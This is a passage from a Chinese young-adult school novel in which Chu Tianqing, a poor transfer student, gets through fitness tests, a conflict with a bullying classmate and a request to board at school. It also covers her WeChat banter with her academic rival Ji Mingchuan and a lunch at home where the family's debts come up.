楚天青低着头,心中暗想,陆子昂的脾气太冲了,现场牵扯的人又太多了,纪明川、宋远舟、郑相宜……这三个人都不会忍气吞声。她感谢他们的帮助,却也明白,今天这场冲突不是偶然,也不是结束。如果陆子昂还敢欺负她,那他迟早会付出代价。 她慢慢抬起头,看向了杨老师。 杨老师握住了秒表,又喊来了宋远舟:“来,宋远舟,给楚天青计数。”随后大声宣布:“女生一分钟仰卧起坐,开始测试!” 宋远舟刚要蹲下,手还没伸出,楚天青已经开口:“不用按了,谢谢,你站着就行,我一样能做。” 宋远舟愣了一下,脱口而出:“啊?哦……好。” 杨老师举起手臂:“预备,开始!” 哨声刚响,楚天青便仰面躺下。 她做仰卧起坐的时候,像是在和人较劲一样,速度极快。她的腰腹力量很强,起伏之间,几乎没有多余的停顿,肩胛骨也刚好触地,姿势利落又标准。 一分钟结束,老师吹响口哨喊停,开始给同学们记录成绩。 宋远舟连忙举手:“楚天青做了五十七个。” “她得了满分,”顾思安感叹,“不愧是楚天青啊,什么都能做好。” 纪明川站在不远处,听见了她们的声音。他静静地看着楚天青站起身、整理衣服。他早就知道,楚天青不会偏科。 她的优秀,是立体的,是完美的,也是压迫感十足的。 她总是这样,不负期待。 13. 鸡丝凉面 杨老师走向男生队伍,开始给男生测试引体向上。 由于引体向上的标准较高,大部分同学都没达到“优秀”的标准,少数几人,比如纪明川和陆子昂都是满分。 不过陆子昂还在气头上,鼻孔朝天,一副全世界都欠他钱的样子。周围同学见状,纷纷走远了,没人愿意凑上去触他这个霉头。 楚天青悄悄对郑相宜说:“陆子昂现在看起来,有点像……山里的野猪。” 郑相宜忍不住笑了:“是啊,他那鼻子抬得,像要拿来拱人一样。” 几步之外,杨老师拿着名册:“行了,女同学们,现在来测长跑。” 女生们已经在跑道上站好了。郑相宜一脸生无可恋:“我真的不想跑八百米。” 楚天青转头看她:“你很讨厌长跑吗?” “何止是讨厌,”郑相宜叹了口气,“每次跑八百米之前,我都想退学了。早操还好,可以跑得慢一点,体育测试是真烦人。” 楚天青真的退过学,她可以理解郑相宜那种“想逃离一切”的情绪。她轻轻握住了郑相宜的手掌,力道不大,却很坚定。 两人掌心相触,指缝之间微微渗出汗意,在盛夏的炎热空气里,交换了一种无声的默契。 老师喊了一声:“好,预备,开始!” 女生们齐刷刷冲了出去,跑道上响起混乱的脚步声。 半圈过后,队伍就散开了。 楚天青跑在最前方,脚下的节奏十分稳定。 风吹在脸上,她能感觉到自己的呼吸加快了。她不看周围,只盯着前方的跑道,专注地踏过每一步。 她跑得很快,稍微有些疲惫,却也没有脱力。她知道自己还能再快一点,但没必要。 冲过终点的那一刻,她放缓了脚步,逐渐慢了下来,耳边响起男生们的热烈掌声,杨老师也鼓掌了:“第一名,楚天青,两分四十六秒!” 楚天青点了点头,没有说话。 她在草坪上站了几秒钟,目光扫过跑道另一侧,郑相宜还在往前跑,距离终点还有大概三百米。 郑相宜的脚步不太稳,身体重心往前倾,呼吸也变得越来越急促。 楚天青立即折返回去,穿过操场,跑向郑相宜。此时,郑相宜已经落到了队伍最后。 郑相宜看见她回来,也很惊讶:“你怎么……” “我陪你!”楚天青热情洋溢。 郑相宜没劲说话,但她心里涌起一股暖意,又很担心楚天青的状态。她硬是挤出一句: “你还能……能跑吗?” 楚天青把脚步放得很轻,也很稳:“没事的,我小时候在山上一跑就是几个小时,我还会爬树、劈柴、抓知了、下河摸鱼……” 汗水从她的后背流下来,浸湿了衣服。双腿有点沉重了,但她觉得自己还可以再跑一段。 郑相宜拼尽全力跑完了最后几十米。她和楚天青一前一后冲过终点线,踉跄几步,终于停下来了。 楚天青双手撑在膝盖上,低头调整呼吸。 郑相宜脸颊涨红,嗓子里涌出一股铁锈味,心情却比刚才轻松了许多。她听见杨老师念出她的成绩,刚好及格。 “你还好吗?”楚天青问。 “没事,”郑相宜喘着气说,“歇一会儿就好了。” 汗水顺着额头滑落,楚天青抬手擦了擦汗。她正在做深呼吸,眼角余光瞥见顾思安朝这边跑来。顾思安手上拎着两瓶水,肩上挎着她们的书包。 “喂,你们的水,”顾思安把瓶子递过去,又把书包放在一旁,“你们都流了好多汗啊。” 楚天青接过水,喝了一口,差点呛着,断断续续咳了几下,咳完了,才笑着说:“好久没跑八百米了。” 她把水放在一边,顺势坐到了草地上。 郑相宜和顾思安也坐了下来,鞋底还沾着操场上的尘土。 三人围着一小块草地,谁都没说话,只是安静地坐着。 阳光照在身上,暖洋洋的。风吹过来,带着一股青草味。 楚天青仰头望天,湛蓝湛蓝的天空,白云正在缓缓移动。她闭了闭眼,又睁开,眯着眼睛看了一会儿。 她忽然意识到,自己已经很久没有这样坐下来,什么都不想,什么也不怕,只是喘气、发热、流汗、晒太阳。 17班的男生都在跑道前站好了,一千米长跑测试即将开始。 楚天青望着那些男生,纪明川站在跑道最外侧,距离陆子昂很远。 陆子昂故意伸出手,狠狠推了推身边的宋远舟。宋远舟双手握拳,往后退了几步,看上去并不情愿。 楚天青这才回过神来。她轻声问郑相宜:“陆子昂家里是做什么的,你知道吗?” 郑相宜点点头:“他爸爸是录材集团的老板,在郊区有好几个工厂,还有开发区那边的地皮,他们家的资产上亿了。我妈妈认识他们家的人。” 好有钱啊,楚天青一时呆住了。 郑相宜犹豫了一下,又补充道:“他爸妈都来过学校找老师,尤其是他爸,挺厉害的。去年下学期,他在课堂上玩手机,王老师骂了他两句,第二天他爸直接去了校长办公室。老师们都知道,他家事多,不太敢管他。” “怪不得,”楚天青叹了一口气,“体育老师也不敢惹他。” 郑相宜继续说:“他妈妈本来是想送他出国的,结果他自己闹脾气,说死都不去国外。他妈妈后来就说,国外不适合他,怕他学坏,最后还是让他留在国内读书了。” 楚天青轻轻“嗯”了一声,把郑相宜的话都记住了。 郑相宜看她没反应,又忍不住说:“他以前还和人打过架呢,高一那年,他在校外,跟一个高三的学长打起来,听说闹得挺严重的,当时场面太乱,说不清是谁先动的手,最后学校只给了个口头警告,就算过去了。” 老师的口哨声响起,男生们一窝蜂地冲了出去。 陆子昂像一头发狠的野猪,侧着身子抢跑了几步。纪明川也迈开双腿,快速跑到了陆子昂的斜前方。 趁着男生们都在跑步,楚天青绕到杨老师身后,低声喊了一句:“老师?” 杨老师侧头看了她一眼:“怎么了?” 楚天青心想,今天的冲突不可能彻底平息,陆子昂的脾气那样火爆,家境又是那样优越,几乎没受过委屈,等他回家之后,恐怕不会善罢甘休。 但她不能去找班主任诉苦,那会显得她心眼小,也有“添油加醋”的嫌疑。而且,王老师与陆子昂的父母曾经闹过矛盾,楚天青也不能以一个转学生的身份,再去挑起新的风波。 最合适的办法,是让杨老师主动向班主任提起这件事。 不过,刚才纪明川和陆子昂差点打起来,杨老师也没立即赶过来,由此可见,杨老师不愿多管闲事。如果她只是表达委屈,杨老师八成不会接话。 楚天青心思一转,语气平静:“杨老师,我觉得,今天这事……挺大的吧?要是陆子昂回家后,说得夸张一点,他的家长可能会来学校,我们是不是应该把今天这件事告诉王老师?她也好有个准备。毕竟,我们当时都在场。” 杨老师沉默了几秒,随后点了点头:“你说得对,我会和王老师说一声,先让她心里有个数。” 他没再多讲一句话,只转过身去,继续看着跑道,神色和平日里一模一样。 楚天青回到草坪上,重新坐下,和郑相宜闲聊了一会儿。远处,男生组的长跑也接近尾声。 纪明川第一个冲过终点。 杨老师的声音在操场上响起来:“好,男生第一名,纪明川,三分十四秒!” 纪明川的脚步还没完全停下,状态却是十分稳定的,他早就知道自己会拿到第一名的好成绩。 楚天青抬手为他鼓掌。 纪明川刚好朝这边看了一眼,视线和她对上。她开心地笑了笑,他却像是被什么碰了一下,眼神一闪,迅速避开了。他一句话也没说,只站在跑道边上喘着气,等待自己的身体完全平静下来。 又过了几分钟,下课铃打响,体育课结束了。 楚天青拎起书包,和郑相宜、顾思安一起往食堂走。三人已决定今天中午吃凉面。 进了食堂,凉面窗口前,果然排了不少人。 楚天青一点也不心急。她和顾思安、郑相宜笑着聊天,时间过得很快,没多久就轮到她们了。 楚天青拿到了一碗凉面,面条还带着微凉的水汽,上面铺着一层鸡丝、黄瓜丝、豆芽、花生碎,搅开酱汁后,色泽鲜亮,香气扑鼻,一闻就让人胃口大开。 她迫不及待地坐下来,用筷子把面条搅拌几下,咬下一大口,尝到了一股清爽的酱香味,面条爽滑,鸡丝鲜嫩,黄瓜和豆芽又脆又凉,真是太好吃了! 这个中午,楚天青心情很好。她不仅吃到了美味的鸡丝凉面,又在女生寝室洗了个澡,睡了一觉。下午两点,赶到教室的时候,她神清气爽,脚步也不知不觉轻快起来。 她看见纪明川正坐在座位上,翻看一本物理笔记。 她也回到了自己的座位,把橙汁从书包里拿出来,拧开瓶盖,仰头“咕咚咕咚”喝起来。 纪明川转过头,看了她一眼,那瓶橙汁是他今天上午送给她的。 纪明川没说话,楚天青却放下了瓶子:“我上午没舍得喝,特意留到了现在。” “不至于,”纪明川随口说,“想喝就喝。” 楚天青格外认真:“可是这是你送给我的啊。” 纪明川又转了回去,低头翻开了笔记,在扉页上写下:“不要听信花言巧语。” 他想了想,又觉得不对,便用修正带把这一行涂掉,重写了一句:“心如水之源,源清则流清,心正则事正。” 写完,他看着这一行字,似乎觉得这样才合理。 他送她饮料,是出于礼貌。她舍不得喝,是因为客气。他们二人之间,全然没有半点私心。 他们是对手,也是竞赛场上的同行者。 仅此而已。 14. 勤工俭学 楚天青喝完了整瓶橙汁,顺手把空瓶放在桌上。 纪明川正好站起身来:“我帮你扔了吧。” “不不不,”楚天青立即拒绝,“我要把瓶子带回家,可以卖钱。” 纪明川一动不动地站在座位边上,脑海里忽然浮现出四个字“勤工俭学”。 不少名垂青史的成功人士都经历过“勤工俭学”的阶段,个人能力得到了极大提升,意志力也得到了极大磨练。 果然不能小看楚天青,她不仅学业出众,意志力也强得惊人。 当着纪明川和宋远舟的面,她毫不迟疑地说出“瓶子要带回家卖钱”,仿佛这是一件理所当然的光荣之事,完全没有一丝普通人陷入困境时的难堪或羞耻感。 纪明川沉默了几秒,竟然不知道自己应该说什么。就在他犹豫之际,劳动委员冯康匆匆走过来:“喂,纪明川、楚天青,王老师叫你们两个人去她办公室。” 楚天青问:“现在就去吗?” “当然了,”冯康催得急,“她在那边等你们呢,动作快点。” 楚天青快步跑向了教师办公室,纪明川也紧随其后。 办公室里开了空调,很凉快。三张办公桌前空无一人,只剩王老师独自坐在角落,翻查着一份文件。 王老师听见动静,敲了敲桌面:“过来,说你们俩呢。” 文件放到了一边,王老师靠上椅背:“说说吧,今天上午体育课上发生了什么?” 楚天青站姿笔直:“是陆子昂先挑衅的,我只是回了一句,他就要对我动手。纪明川拦了他一下,他就开始骂人了。” 王老师皱了皱眉:“杨老师已经把情况跟我讲过了,但我还是想听听你们自己的说法。纪明川,你怎么想的?” 纪明川平静回答:“起初我也不想把事情闹大。” “砰砰”两下,是王老师的指节轻叩桌面的声音。 王老师的语气更加无奈:“你以为你不想,这件事就不会闹大了?” 她摘下眼镜,揉了揉眉心:“陆子昂那个脾气,将来还不知道会惹出多少麻烦。去年他在校外也出过事,具体情况一直没个定论,校方只是做了记录,后来不了了之。现在要是再出点什么事……怎么办?我就问你们,怎么办?你们能担得起这个责任吗?你们不为自己想,也得想想你们的家长、老师,还有同学。” 办公室里的沉默正在延长。 只有空调轻微轰鸣,搅动着沉闷的空气。 王老师拧开水杯,喝了一口菊花茶,闭上眼睛,紧靠着椅背,像是突然泄了气似的。她的神情不悲不怒,却透着深深的倦意。 楚天青一声不吭,还想把双手背到身后,手腕一抬,指尖无意中擦过纪明川的手臂。 这一瞬间,他原本放松的肌肉猛地绷紧,几乎是出于本能反应,线条分明地收缩了一下。 她怔了一怔,偏头看了他一眼。 纪明川站得比刚才更直了一些。 纪明川与楚天青之间的微妙气氛,并未引起王老师的注意。 王老师没有睁眼,只是轻声说:“你们俩都是懂事的孩子,能忍就忍一忍,好不好?距离高考不远了,只剩三百多天,不要再和陆子昂闹起来。考上大学,那就什么都好了。” 王老师的态度,和楚天青之前的设想的差不多。 因为她和纪明川表现得更懂事,所以老师总是希望他们能多忍耐一点。她很理解王老师,可她也不会一味退让,她也有自己的打算。 楚天青向前一步:“可是,王老师,我听说陆子昂曾经在校外和学长打起来,而我还是走读生……陆子昂总是嘲笑我家境贫困,我真的很担心……” 她一句话还没说完,纪明川忽然也开了口:“楚天青担心得没错。陆子昂的情绪不稳定,这件事要是一直拖下去,对学校、对班级,恐怕都不是好事。” 楚天青真没想到,纪明川会替她说话。 她和他站得很近,近到能察觉他身上那股清清淡淡的气味,没有香水那么浓烈,更像是山间风吹过青草地,带着点野茉莉的气息,安静、好闻,又令人安心。 “啪”的一声,王老师又拍响了桌面。 王老师睁开了眼,慢悠悠地问:“那你们两个想怎么办?” 楚天青连忙说:“我想申请住校。陆子昂的情绪不稳定,我又是走读生,总怕在校外碰见他。而且我家离得远,来回都要坐很久的公交车,耽误学习。还有……我家的经济条件也确实不好,住校的话,可以省下交通费、水电费,也不用回家吃晚饭……如果学校能减免一部分住宿费,我真的会很感激。” 话一出口,她心跳得厉害。 她并不擅长开口求人。之前王老师好心送她一个保温杯,她紧张得几乎不敢接。可是这一次,她不能退让。 住进学校宿舍,不只是可以避开陆子昂那么简单,还关系到她每天能不能多睡两个小时,能不能少奔波一些,为家里省下一点生活费。 她在县城读初中时,爷爷奶奶相继得了重病,家里几乎被拖垮。老人离世之后,留下了一间冷清的老屋,还有一笔高昂的医药费,压得一家人喘不过气来。 那段时间,她的精神状态也很差,不得不中途休学。 前前后后,家里欠下了二十多万债务,到现在都没还清。 她需要钱,需要成绩,需要一切能兑换成奖学金的东西……更需要一个安全、干净、能踏实睡觉的地方。 王老师沉默了一会儿,才说:“行,我帮你去申请减免。你把资料整理一下,明天交给我。” “谢谢老师!”楚天青发自内心地感谢她。 快上课了,走廊上不剩几个人影,楚天青和纪明川一前一后走回教室,纪明川特意拉开了很长一段距离,以免班上同学又大声起哄。 纪明川的计策成功了,同学们没吵也没闹。他平静地回到自己的座位上,心中还是有些疑问,无人解答。 楚天青的家境究竟如何,一直是个谜。她从不主动提起,偶尔露出的些许细节,也不足以拼凑出一个完整的全貌。 夏风掀起窗帘的一角,微尘在光影里浮动,四周安静下来,仿佛能听得见心跳声。 楚天青忽然用笔帽戳了戳他的后背:“纪明川?” 纪明川没有回头,只是靠上了椅背:“什么事?” “我……”她向他坦白,“过两天,我就能拿到一个二手手机,是我爸爸妈妈给我买的。” 她像是在认真请求,又像是在小心翼翼地试探:“到时候……可以加你的微信吗?” 他握着签字笔的指尖停顿了一下。 她又问了一遍:“可以吗?” 纪明川从抽屉里抽出一本笔记,撕下一张干净的纸页。他拿出手机,对着屏幕抄下一行字,一笔一划,写得比平时做题还要认真。 停笔后,他仍未转身,只把那张纸折成方块,从她课桌的右侧递了过来。 楚天青伸手去接,纸条刚好落进她的掌心。 她把纸条打开,他的字迹干净、工整,横平竖直,是他一贯的笔风。那一串微信号静静地躺在纸上,像是一扇已经打开的门,指向他们之间那一份未曾言明的默契。 纪明川低声说:“我会等着你的好友请求。” 楚天青盯着那串数字,忽然轻声说:“嗯,我记住了……谢谢。” 方才那一点微妙而复杂的气氛顿时消散了。 纪明川这才转过身,神情里多了一丝困惑:“我的微信号一共有20个字符,你怎么可能看了一眼就记住了?” 楚天青把纸条递给他,一字不差地背了出来。 纪明川表面上仍是一副云淡风轻的样子:“你还是把这张纸拿着吧,万一记错了……” “不会的。”楚天青双眼一眨不眨地看着他,“只要我想记住,我就永远不会记错。” “永远”是一个没有保障的承诺,人的生命也不是无限的,她要在有限的时间里,记住每一个细节,又谈何容易? 纪明川并不相信她这句话。不过,她这种近乎狂妄的自信,其实也有一点,只是一点点,可爱。 之后的两天,校园生活风平浪静,没有考试,没有争吵,也没有任何搅动人心的风浪。 周六了,学校放假了。 今天天气很好,阳光灿烂,万里无云。 纪明川坐在家中书房里,桌上摊开了一本厚重的高中数学竞赛教材。他一手转着钢笔,另一手搭着桌面,目光落在一道公式上。 墙边是一整面原木书柜,柜子里摆满了藏书,玻璃门映出他自己的倒影。桌上放着一盏造型简约的金属台灯,灯光柔和,将他半边侧脸照得分明。地上铺着米色地毯,隔音效果很好,室内安静得出奇,他却无法静下心来。 他记得,楚天青说过,这个周六她就能拿到手机了。她还说,她要做的第一件事,就是加他的微信。 忽然,手机震动了一下。 纪明川偏头看去,屏幕上跳出一条新通知。 他立即解锁屏幕,却看到一条让他丧失耐心的消息,是冯康发来的:“在吗?数学卷子反面那几道大题怎么写?拍几张照片给我们参考一下呗。” 纪明川脸上没什么表情,心里没来由地冒出一股无名火,假装自己没看到这条消息。他经常对同学们“拍照片”的请求已读不回,这是他的恶劣习惯之一。 恰好就在这一秒,联系人页面上方跳出一条提醒,新的朋友:楚天青请求添加你为好友。 纪明川怔了一瞬,指尖在屏幕上一划,选择了“接受”。 楚天青的头像出现在了他的联系人列表里。 几乎是在同一时间,楚天青“哇”地感叹一声:“加上了。” 楚天青正坐在自己的床上。 她的房间很小,床靠着墙,边上是一张旧书桌,桌上放着一盏小台灯,灯下摆着几本教辅书。 白天阳光正好,光线透过窗户洒进来,不用开灯也足够明亮。 她的心情也很好。她点开聊天框,认真地输入一句话,发给他:“你好,我是楚天青。” 15 第一次月考 纪明川立即回复:“不用这么正式,我当然知道你是楚天青。” 紧接着,他又补了一句:“你好,我是纪明川。” 楚天青忍不住笑了笑,她又从纪明川身上看到了那种熟悉的矛盾感。他明明一本正经,却能在不经意间让人发笑,而且他自己不觉得自己搞笑,这恰恰是最有趣的。 楚天青抓紧手机,点开纪明川的朋友圈。 只有两条动态。 第一条,是阳台上的一盆玫瑰,开了两朵,花瓣是柔和的鹅黄色,层层叠叠,没有一点虫洞,像是被好好照顾过的样子。他把镜头拉得很近,背景模糊成一片绿意,配文很简单:“今年的花开得不错。” 第二条,是他高二期末考试结束之后做的一桌晚饭,包括清炒菜心、香煎三文鱼、番茄虾仁拌面,还有一小碟凉拌黄瓜,色香味俱全,整整齐齐装在瓷盘里,摆在原木餐桌上。他附了一句:“厨艺略有长进。” 楚天青盯着第二张照片,看了许久,这一种从日常生活中流露出的孤独、平静、自给自足,也是她所熟悉的。 她一时没回消息。 微信又跳出一条提示。 纪明川发来新信息:“我拉你进班级群。” 楚天青回答:“啊?我已经在群里了。” 纪明川屏蔽了班级群,并未注意到楚天青早就进群了。 他问:“你不是第一个加的我吗?” “不是啊,”楚天青告诉他,“我还加了郑相宜、顾思安、陈曼、宋远舟……” 整整一分钟之后,纪明川才回了一句:“所以我是第五个?” 楚天青耐心解释:“因为你的微信号一共有二十位,输入有点麻烦,我先把容易输入的打出来了。” 纪明川本想问她,你还记不记得,你说过要第一个把我加上?又觉得没必要太计较,只是心里还有些不满,他排在郑相宜、顾思安、陈曼之后也就算了,凭什么宋远舟也先他一步加上了楚天青的微信? 这实在是很不合理。 纪明川指尖一抬,点进班级群,看见同学们已经刷过屏了,只剩几个人在喊:“青神驾到,速速欢迎!” 还有人问:“后天就是月考了,楚天青,你有信心考到年级第一吗?” 楚天青秒回:“一定,百分之百的概率。” 她要年级第一的位置,要赚到奖学金,还要一个不再受困于贫穷的未来。她会撑起整个家庭,掌控自己的人生。 有人在群里点了纪明川:“明神,你怎么还不吭声?” 纪明川直接给楚天青发了私聊:“加油。” 他不会像楚天青一样放狠话,只会在私下里送上一句祝福,但这并不代表他会退让一步。 “加油”这样的场面话,只是一种策略,也是一种回应。 他已经冷静地接招了。他将在月考的考场上,和她一决高下。 楚天青发出一个“小猫抓鱼”的表情包,又说:“谢谢,我赢定了。” 纪明川不经意地笑出了声。他迅速回复:“我不会输给你。” 虽然小猫很可爱,但他也有自己的原则。 楚天青毫不犹豫:“没事,你习惯了就好了。” 纪明川打出一个问号:“?” 隔了一会,他强调一句:“我做好了充足准备。” 楚天青忽然发现和他斗嘴很好玩。她故意说:“你就这么怕输给我吗?你越怕,就越会输。” 纪明川从座位上站了起来。他靠在窗边,指尖在光影中飞速跳动,敲出一行字:“你是不是太自信了点?” 楚天青反应极快:“不,我只是对你了解得足够多。” 纪明川:“你怎么看出我的成绩比你差?” 楚天青:“用眼睛看。” 纪明川:“那你考试的时候,最好别闭眼。” 楚天青:“我睁着眼能赢你,闭着也能。” 纪明川真的被她气笑了。好一个楚天青,如此狂妄、嚣张、自负、盛气凌人,甚至连一句场面话都懒得讲。 而且她今天也没有立即加他的微信,甚至把他排到了全班第五,位于宋远舟之后。他倒是不介意自己在吵架时受点气,但是很介意她说话不算话,她已经完全忘记了那天许下的承诺。就这,她还说她记忆力好?他根本不信。 过了两分钟,纪明川还没回答,楚天青问了一句:“你为什么不说话了?” 纪明川秒回:“我无话可说。” 楚天青发了一串“哈哈哈哈”,又说:“我刚才在看你的朋友圈,那盆玫瑰花是你养的吗?” 纪明川只回了一个字:“是。” 楚天青的心情还是很好。其实她很喜欢花朵,也喜欢野草和树木。那些茂盛的植物,让她想起自己的童年,在乡村山野之间,她的腿很短,手也很小,踩着土路、追着蝴蝶,在田埂上跌跌撞撞地奔跑。 那时候,她不知道“未来”是什么,也不知道“命运”会把她送去何方? 她的世界很小,小到只有村口的水塘、两层高的小学教学楼、和自己家里的一栋砖瓦房。 她总爱蹲在老屋的墙角,看着牵牛花的蔓藤缠在篱笆上。 那篱笆是妈妈扎起来的,用几根废旧的木棍和铁丝支起一张旧塑料网,边上还绕着几圈草绳,歪歪斜斜地立在菜园边上,用来挡鸡、挡狗,却挡不住风。 牵牛花不嫌弃它,反倒一天天缠紧、缠高,开出一朵朵蓝紫色的小喇叭。 她觉得自己的童年是幸福的。 哪怕现在回想起来,也总是先想到柴火烧出来的大锅饭,烟气从土灶里升腾起来,米香混着锅巴香,她在院子里也能闻得到。 想到这里,楚天青拿出一张草稿纸。 空白的纸页上,一朵用铅笔勾勒的牵牛花悄然盛开。她拿手机拍了下来,发给纪明川:“你看,这是我画的花。” 那朵牵牛花线条柔和、形态自然,细长的藤蔓缠绕着一根笔直木杆,攀上了一座低矮的窗台。纸与笔创造出来的生命,却仿佛在轻声呼吸。 纪明川看了几秒,忍不住问:“你学过绘画吗?” 楚天青回复:“以前村口有个老太太会画画,我小时候去她家玩,她教过我一点。” 纪明川的脑海里竟然冒出一些武侠电视剧的片段。比如,某个大师归隐山林,在乡下遇见天资惊人的孩子,便对孩子倾囊相授。这就是机缘巧合吗? 他又问:“你还会画什么?” 楚天青发出一段:“我从小就喜欢画花草树木,画得多了,慢慢就能画出点样子了……其实花的线条都差不多。不过,我现在还不会画人和动物,只会画植物。” 纪明川心想,原来她也并非全知全能。她坦然承认自己的短处,就像她从不遮掩自己的锋芒。她清楚地知道自己擅长什么,却不会隐瞒那些还不够好的地方……这样一想,她的短处也很好,好得让人无法忽视。 “哗啦”一声,纪明川猛地推开桌上的习题册,把脸埋在自己的手臂之间,想要隔绝光线,更想躲避混乱的思绪。 过了一会儿,他的手机又震动了。 楚天青发来一张新照片。在他送给她的那一个笔记本上,她画了一朵玫瑰,是他家阳台的那盆玫瑰,开得饱满、盈润、鲜活、灵动,花瓣层层叠叠,阴影用铅笔晕染开来,就连明暗交界处的线条都勾描得十分细致。 这一瞬间,纪明川心跳猛地一顿。 他怔怔地看着那张图,耳边似乎回响着铅笔划过纸面的声音。 她在他送给她的笔记本上,画了一朵他精心照料的玫瑰花。 纪明川站起身来,拉开窗帘,让阳光彻底洒进房间。他在手机上敲下一句:“你画得非常好,线条很有灵气,看得出你很用心。你有天分,不止是认真。” “谢谢夸奖,“楚天青回答,“你比我更认真。” 她很好奇:“你家里还有别的花吗?” 纪明川秒回:“我拍给你看。” 纪明川快步走到卧室的阳台上,那是他亲手打理的小花园,摆放着几盆玫瑰、仙人掌、栀子花、茉莉花、柠檬树,全是枝繁叶茂的。 柠檬树已经结了几颗绿豆大的小果,旁边还有一株半米高的龟背竹,今早才被他搬出来晒太阳。 他拿起手机,把每一盆花都拍下来,一张张发给她。 楚天青每收到一张照片,都要认真点评一番。 她说:“这几盆玫瑰开得很好,你应该给它们除虫了吧?叶子都是绿油油的,没有虫洞……等到今年九月,柠檬的果实能成熟吗?你会做柠檬蛋糕吗?龟背竹长得挺整齐,你特意修剪过吧,我一眼就看出来了。” 纪明川看着屏幕上跳出的消息,嘴角控制不住地扬了起来。他慢慢打出一行字:“我可以送你一盆,如果你喜欢的话。” 楚天青很惊讶,没想到纪明川愿意送她一盆花。她叹了一口气:“不用了,谢谢,你的好意我心领了。我家里没地方放,而且,下周我就要去住校了。” 过了两秒,楚天青补了一句:“不打扰你了,我要赶紧写完作业。” 纪明川盯着屏幕看了一会儿,原本还想再说点什么,却又觉得没必要。他指尖轻点键盘,语气平静:“嗯,早点写完,早点休息。” 此时,楚天青已经坐回书桌前。 圆珠笔在纸上沙沙作响,她把作业一一完成,就连数学老师额外布置的竞赛题,她也全部写完了,一道不落。 她再次拿起手机,却没注意自己与纪明川的聊天窗口,只看着妈妈在一个小时前创建的群聊“相亲相爱一家人”。这个群里,只有三个人,分别是爸爸、妈妈和宝宝。 她是一个十七岁的、将要成年的人,在群聊里的昵称却是“宝宝”。她心里有些不好意思,但是一点也不想改。 妈妈曾经说过,无论她长到多大,哪怕她白发苍苍、满脸皱纹,她也永远是妈妈的宝宝。 “宝宝!”妈妈在客厅喊了一声,“午饭做好了,来吃饭吧。” 楚天青小心翼翼地把手机放到桌上,这才飞快跑向客厅:“我来了,妈妈!” 今天的午饭是辣椒炒鸡蛋、冬瓜汤、蒸土豆,和一盘米饭。冬瓜汤里飘着一点肉末,也有一股淡淡的肉腥味。 妈妈给楚天青盛了一碗汤,大半的肉末都在这个碗里。 楚天青犹豫了一下,不知道要不要接。 妈妈已经把碗放到了她手边:“不烫了,我晾了有一会儿了。” 楚天青双手捧起瓷碗,喝了一口,冬瓜软烂,汤底混着肉末的腥气。 她咽下那口汤,喉咙一阵温热。她故作轻松地说:“妈妈,后天就是月考了,我会考出一个好成绩,然后我就能赚到奖学金了。” 妈妈轻声说:“不急,你先把饭吃完。” 怎么可能不急呢? 楚天青飞快扒了几口饭,米粒有点硬,带着锅巴的焦香,夹着辣椒炒鸡蛋的咸香味。她吃得很快,仿佛吃得再快一点,就能把焦虑也吞下去。 她忽然开口问:“我们家现在还欠多少钱啊?爸爸什么时候才能回家?” 今天爸爸不在家。 今天本来是工厂放假的日子,爸爸妈妈都能休息。但爸爸的老乡是个包工头,临时打电话说工地上缺人,让他过去帮忙干活。每小时二十元,不包饭。 “反正你爸也闲不住,”妈妈给楚天青夹了一大块鸡蛋,“出去转一圈,也能挣一顿饭钱回来。” 妈妈还说:“钱欠的不多了,我和你爸慢慢还,再过几年就能还清。你别太有压力……” 楚天青放下筷子,盯着那块鸡蛋,盯了一会儿才回答:“可你不是说过,我拿到奖学金以后,分一半给你们还债,另一半我自己留着吗?” 妈妈抬手擦了擦脸,明明脸上没什么脏东西,她还是顺着脸颊抹了一把:“那时候说着玩儿的……哪能真指望你拿奖学金还债呀?” 楚天青低着头,没说话。 妈妈的语气里,隐有一丝疲惫:“有时候我就在想啊,要是能早点把债还完了,你爸就不用再出去扛水泥了……咱们也能搬去好一点儿的地方住,日子就不至于过得这么憋屈,还能买点儿你爱吃的,做个清蒸鱼、水煮虾什么的……” 楚天青感到一阵轻微的眩晕。她太能理解妈妈的心情了。 正是因为她理解,她才会如此焦虑。 妈妈嘴上说着不让她承担压力,却又需要她赚钱补贴家用。 家里还欠着债,妈妈的慢性病又总是反复发作。妈妈患有严重的类风湿性关节炎,关节肿胀的时候,连站都站不稳,却从不在她面前喊疼。 这种病需要长期服药,药价不算昂贵,却也不是能轻松负担的。她总想给妈妈买最好的药,哪怕只是贵一点点,她心里也会觉得好受很多。 有时她觉得,自己已经很努力了,有时又觉得,远远不够。 她比谁都更清楚,自己只是一个普通人。 她从不敢把“天才”二字往自己头上戴,虽然她学习的速度确实很快。 但是,真正的天才应该能驾驭情绪、沉稳冷静,而不是像她这样,常常陷入恐惧与焦虑的深渊之中。她必须不停地往上爬,才不至于掉进无边无际的黑洞里。 妈妈又夹了一块土豆,放进楚天青的碗里:“快吃吧,凉了就不好吃了。” 楚天青迅速吃完了一碗饭。她一拍桌面,站起来:“妈妈,你放心,我一定会赚到大钱!我要带着妈妈一起搬进……搬进两室一厅的大房子,至少有五十个平方的!” 说出“两室一厅”时,她紧张得磕巴了一下,才继续说:“我还要……买新的空调,还有新的冰箱!然后我要去超市买一盒最好的牛肉卷、羊肉卷、粉条、毛肚、蘑菇,还有虾仁、鱼豆腐、西兰花……在新家里,开着空调,和你一起涮火锅吃!” “别说了,妈妈要被吓坏了。”妈妈制止了她,“听你说这些,妈妈吓得腿都软了。” 楚天青还是没改口,反而更坚定了:“一定会实现的!” 整个下午,楚天青把全部的心思都放在了学习上。她对语文、数学、物理、化学、生物都很有把握,唯独英语是她的弱项。 她平时花在英语上的时间最少。她总觉得英语有一种距离感,离她很远。 幸亏她记忆力好,死记硬背也能记住不少单词和句型。她把英语当作一种工具,用来阅读数学、物理的原版书,而不是去钻研这门语言本身。 她最喜欢的一本是清华大学出版社出版的《量子计算与量子信息》,那是她在省城图书馆的理工书架上发现的,全英文,排版密密麻麻。她读得很慢,也很专注。 那本书她还没看完,但她觉得自己终究会看完的。 她太喜欢书里的逻辑体系,量子的“不确定性”也能被编码、计算,用于提升信息处理的效率与安全性,开辟全新的算法思维方式。 这样的世界,很像她的人生,混沌、未定,却充满潜能。 当天傍晚,楚天青陪妈妈下楼收废品。她们从楼道和垃圾箱里翻找纸壳箱、快递盒,又在街道上捡了几个瓶子。 妈妈不愿让她干这些,总怕弄脏了她的衣服,让人看见笑话。 楚天青却笑着说:“你就当我们是在散步嘛。” 傍晚七点,天色暗淡。 楚天青和妈妈在小区外的巷子里,找到了那个靠着三轮车的,收废品的老人。 